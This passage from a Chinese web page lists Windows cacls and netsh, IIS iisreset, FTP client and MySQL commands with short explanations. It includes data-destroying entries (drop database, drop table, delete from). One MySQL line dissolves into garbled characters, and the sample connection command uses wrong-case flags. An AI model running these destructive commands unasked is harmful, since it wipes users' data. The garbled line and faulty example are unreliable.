style="">用户访问。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cacls </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">查看文件的访问用户权限列表</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">REM </span><span style="color: black;"><span style="">文本内容</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">在批处理文件中添加注解</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">netsh </span><span style=""><span style="color: black;">查看或更改本地网络配置情况</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">（四）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">IIS</span><span style="color: black;"><span style="">服务命令：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /reboot </span><span style="color: black;"><span style="">重启</span></span><span style="font-family: Arial; color: black;" lang="EN-US">win2k</span><span style="color: black;"><span style="">计算机（但有提示系统将重启信息出现）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /start</span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US">stop </span><span style="color: black;"><span style="">启动（停止）所有</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /restart </span><span style="color: black;"><span style="">停止然后重新启动所有</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /status </span><span style="color: black;"><span style="">显示所有</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务状态</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /enable</span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US">disable </span><span style="color: black;"><span style="">在本地系统上启用（禁用）</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务的重新启动</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /rebootonerror </span><span style="color: black;"><span style="">当启动、停止或重新启动</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务时，若发生错误将重新开机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /noforce </span><span style="color: black;"><span style="">若无法停止</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务，将不会强制终止</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">iisreset /timeout Val</span><span style="color: black;"><span style="">在到达逾时间（秒）时，仍未停止</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Internet</span><span style="color: black;"><span style="">服务，若指定</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/rebootonerror</span><span style="color: black;"><span style="">参数，则电脑将会重新开机。预设值为重新启动</span></span><span style="font-family: Arial; color: black;" lang="EN-US">20</span><span style="color: black;"><span style="">秒，停止</span></span><span style="font-family: Arial; color: black;" lang="EN-US">60</span><span style="color: black;"><span style="">秒，重新开机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">0</span><span style="color: black;"><span style="">秒。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">FTP </span><span style="color: black;"><span style="">命令：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> (</span><span style="color: black;"><span style="">后面有详细说明内容</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ftp</span><span style="color: black;"><span style="">的命令行格式为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ftp </span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">v </span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">d </span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">i </span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">n </span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">g[</span><span style="color: black;"><span style="">主机名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] </span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">v </span><span style=""><span style="color: black;">显示远程服务器的所有响应信息。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">d </span><span style="color: black;"><span style="">使用调试方式。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">n </span><span style="color: black;"><span style="">限制</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ftp</span><span style="color: black;"><span style="">的自动登录</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">即不使用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">.netrc</span><span style=""><span style="color: black;">文件。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">g </span><span style="color: black;"><span style="">取消全局文件名。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">help [</span><span style="color: black;"><span style="">命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">？</span></span><span style="font-family: Arial; color: black;" lang="EN-US">[</span><span style="color: black;"><span style="">命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] </span><span style="color: black;"><span style="">查看命令说明</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">bye </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> quit </span><span style="color: black;"><span style="">终止主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">FTP</span><span style="color: black;"><span style="">进程</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">并退出</span></span><span style="font-family: Arial; color: black;" lang="EN-US">FTP</span><span style="color: black;"><span style="">管理方式</span></span><span style="font-family: Arial; color: black;" lang="EN-US">. </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">pwd </span><span style="color: black;"><span style="">列出当前远端主机目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">put </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> send </span><span style="color: black;"><span style="">本地文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> [</span><span style="color: black;"><span style="">上传到主机上的文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] </span><span style="color: black;"><span style="">将本地一个文件传送至远端主机中</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">get </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> recv [</span><span style="color: black;"><span style="">远程主机文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] [</span><span style="color: black;"><span style="">下载到本地后的文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] </span><span style="color: black;"><span style="">从远端主机中传送至本地主机中</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mget [remote-files] </span><span style="color: black;"><span style="">从远端主机接收一批文件至本地主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mput local-files </span><span style="color: black;"><span style="">将本地主机中一批文件传送至远端主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">dir </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> ls [remote-directory] [local-file] </span><span style="color: black;"><span style="">列出当前远端主机目录中的文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">.</span><span style="color: black;"><span style="">如果有本地文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">就将结果写至本地文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ascii </span><span style="color: black;"><span style="">设定以</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ASCII</span><span style="color: black;"><span style="">方式传送文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">缺省值</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">bin </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> image </span><span style="color: black;"><span style="">设定以二进制方式传送文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">bell </span><span style="color: black;"><span style="">每完成一次文件传送</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">报警提示</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cdup </span><span style="color: black;"><span style="">返回上一级目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">close </span><span style="color: black;"><span style="">中断与远程服务器的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ftp</span><span style="color: black;"><span style="">会话</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">与</span></span><span style="font-family: Arial; color: black;" lang="EN-US">open</span><span style="color: black;"><span style="">对应</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">open host[port] </span><span style="color: black;"><span style="">建立指定</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ftp</span><span style="color: black;"><span style="">服务器连接</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">可指定连接端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">delete </span><span style="color: black;"><span style="">删除远端主机中的文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mdelete [remote-files] </span><span style="color: black;"><span style="">删除一批文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mkdir directory-name </span><span style="color: black;"><span style="">在远端主机中建立目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">rename [from] [to] </span><span style="color: black;"><span style="">改变远端主机中的文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">rmdir directory-name </span><span style="color: black;"><span style="">删除远端主机中的目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">status </span><span style="color: black;"><span style="">显示当前</span></span><span style="font-family: Arial; color: black;" lang="EN-US">FTP</span><span style="color: black;"><span style="">的状态</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">system </span><span style="color: black;"><span style="">显示远端主机系统类型</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">user user-name [password] [account] </span><span style="color: black;"><span style="">重新以别的用户名登录远端主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">open host [port] </span><span style="color: black;"><span style="">重新建立一个新的连接</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">prompt </span><span style="color: black;"><span style="">交互提示模式</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">macdef </span><span style="color: black;"><span style="">定义宏命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">lcd </span><span style="color: black;"><span style="">改变当前本地主机的工作目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">如果缺省</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">就转到当前用户的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">HOME</span><span style="color: black;"><span style="">目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">chmod </span><span style="color: black;"><span style="">改变远端主机的文件权限</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">case </span><span style="color: black;"><span style="">当为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ON</span><span style="color: black;"><span style="">时</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">MGET</span><span style="color: black;"><span style="">命令拷贝的文件名到本地机器中</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">全部转换为小写字母</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cd remote</span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">dir </span><span style="color: black;"><span style="">进入远程主机目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cdup </span><span style="color: black;"><span style="">进入远程主机目录的父目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">! </span><span style="color: black;"><span style="">在本地机中执行交互</span></span><span style="font-family: Arial; color: black;" lang="EN-US">shell</span><span style="color: black;"><span style="">，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">exit</span><span style="color: black;"><span style="">回到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ftp</span><span style="color: black;"><span style="">环境</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">如</span></span><span style="font-family: Arial; color: black;" lang="EN-US">!ls</span><span style="color: black;"><span style="">＊</span></span><span style="font-family: Arial; color: black;" lang="EN-US">.zip</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">（五）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">MYSQL </span><span style="color: black;"><span style="">命令：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mysql -h</span><span style="color: black;"><span style="">主机地址</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> -u</span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">－</span></span><span style="font-family: Arial; color: black;" lang="EN-US">p</span><span style="color: black;"><span style="">密码</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">连接</span></span><span style="font-family: Arial; color: black;" lang="EN-US">MYSQL;</span><span style="color: black;"><span style="">如果刚安装好</span></span><span style="font-family: Arial; color: black;" lang="EN-US">MYSQL</span><span style="color: black;"><span style="">，超级用户</span></span><span style="font-family: Arial; color: black;" lang="EN-US">root</span><span style=""><span style="color: black;">是没有密码的。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">（例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">mysql -h110.110.110.110 -Uroot -P123456 </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">注</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:u</span><span style="color: black;"><span style="">与</span></span><span style="font-family: Arial; color: black;" lang="EN-US">root</span><span style="color: black;"><span style="">可以不用加空格，其它也一样）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">exit </span><span style="color: black;"><span style="">退出</span></span><span style="font-family: Arial; color: black;" lang="EN-US">MYSQL </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mysqladmin -u</span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> -p</span><span style="color: black;"><span style="">旧密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> password </span><span style="color: black;"><span style="">新密码</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">修改密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">grant select on </span><span style="color: black;"><span style="">数据库</span></span><span style="font-family: Arial; color: black;" lang="EN-US">.* to </span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">@</span><span style="color: black;"><span style="">登录主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> identified by /"</span><span style="color: black;"><span style="">密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/"; </span><span style="color: black;"><span style="">增加新用户。（注意：和上面不同，下面的因为是</span></span><span style="font-family: Arial; color: black;" lang="EN-US">MYSQL</span><span style="color: black;"><span style="">环境中的命令，所以后面都带一个分号作为命令结束符）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">show databases; </span><span style="color: black;"><span style="">显示数据库列表。刚开始时才两个数据库：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">mysql</span><span style="color: black;"><span style="">和</span></span><span style="font-family: Arial; color: black;" lang="EN-US">test</span><span style="color: black;"><span style="">。</span></span><span style="font-family: Arial; color: black;" lang="EN-US">mysql</span><span style="color: black;"><span style="">库很重要它里面有</span></span><span style="font-family: Arial; color: black;" lang="EN-US">MYSQL</span><span style="color: black;"><span style="">的系统信息，我们改密码和新增用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">В </span><span style="color: black;"><span style="">导噬暇褪怯谜飧隹饨</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">胁僮鳌</span></span><span style="font-family: Arial; color: black;" lang="EN-US">?</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">use mysql</span><span style=""><span style="color: black;">；</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">show tables; </span><span style="color: black;"><span style="">显示库中的数据表</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">describe </span><span style="color: black;"><span style="">表名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">; </span><span style="color: black;"><span style="">显示数据表的结构</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">create database </span><span style="color: black;"><span style="">库名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">; </span><span style="color: black;"><span style="">建库</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">use </span><span style=""><span style="color: black;">库名；</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">create table </span><span style="color: black;"><span style="">表名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> (</span><span style="color: black;"><span style="">字段设定列表</span></span><span style="font-family: Arial; color: black;" lang="EN-US">)</span><span style="color: black;"><span style="">；</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">建表</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">drop database </span><span style="color: black;"><span style="">库名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">; </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">drop table </span><span style="color: black;"><span style="">表名；</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">删库和删表</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">delete from </span><span style="color: black;"><span style="">表名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">; </span><span style="color: black;"><span style="">将表中记录清空</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">select * from </span><span style="color: black;"><span style="">表名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">; </span><span style="color: black;"><span style="">显示表中的记录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mysqldump --opt school>school.bbb </span><span style="color: black;"><span style="">备份数据库：（命令在</span></span><span style="font-family: Arial; color: black;" lang="EN-US">DOS</span><span style="color: black;"><span style="">的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">//mysql//bin</span><span style="color: black;"><span style="">目录下执行）</span></span><span style="font-family: Arial; color: black;" lang="EN-US">;</span><span style="color: black;"><span style="">注释</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:</span><span style="color: black;"><span style="">将数据库</span></span><span style="font-family: Arial; color: black;" lang="EN-US">school</span><span style="color: black;"><span style="">备份到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">school.bbb</span><span style="color: black;"><span style="">文件，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">school.bbb</span><span style="color: black;"><span style="">是一个文本文件，文件名任取，打开看看你会有新发现。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
